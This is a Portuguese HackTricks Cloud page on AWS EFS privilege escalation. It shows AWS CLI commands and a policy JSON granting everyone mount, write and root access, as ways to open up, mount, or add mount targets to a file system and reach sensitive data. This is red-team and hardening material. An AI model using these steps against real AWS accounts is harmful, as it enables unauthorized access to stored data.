AWS - EFS Privesc
Reading time: 4 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
EFS
Mais informações sobre EFS em:
Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará das permissões extras mencionadas aqui para acessá-lo.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Com qualquer uma dessas permissões, um atacante pode alterar a política do sistema de arquivos para dar acesso a ele ou apenas deletá-lo para que o acesso padrão seja concedido.
Para deletar a política:
aws efs delete-file-system-policy \
--file-system-id <value>
Para mudar isso:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Com essa permissão, um atacante poderá montar o EFS. Se a permissão de escrita não for concedida por padrão a todos que podem montar o EFS, ele terá apenas acesso de leitura.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
As permissões extras elasticfilesystem:ClientRootAccess
e elasticfilesystem:ClientWrite
podem ser usadas para escrever dentro do sistema de arquivos após ele ser montado e para acessar esse sistema de arquivos como root.
Impacto Potencial: Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
elasticfilesystem:CreateMountTarget
Se um atacante estiver dentro de uma sub-rede onde nenhum ponto de montagem do EFS existe. Ele poderia simplesmente criar um em sua sub-rede com esse privilégio:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Impacto Potencial: Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
elasticfilesystem:ModifyMountTargetSecurityGroups
Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas nenhum grupo de segurança está permitindo o tráfego, ele poderia simplesmente mudar isso modificando os grupos de segurança selecionados:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Impacto Potencial: privesc indireto ao localizar informações sensíveis no sistema de arquivos.
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.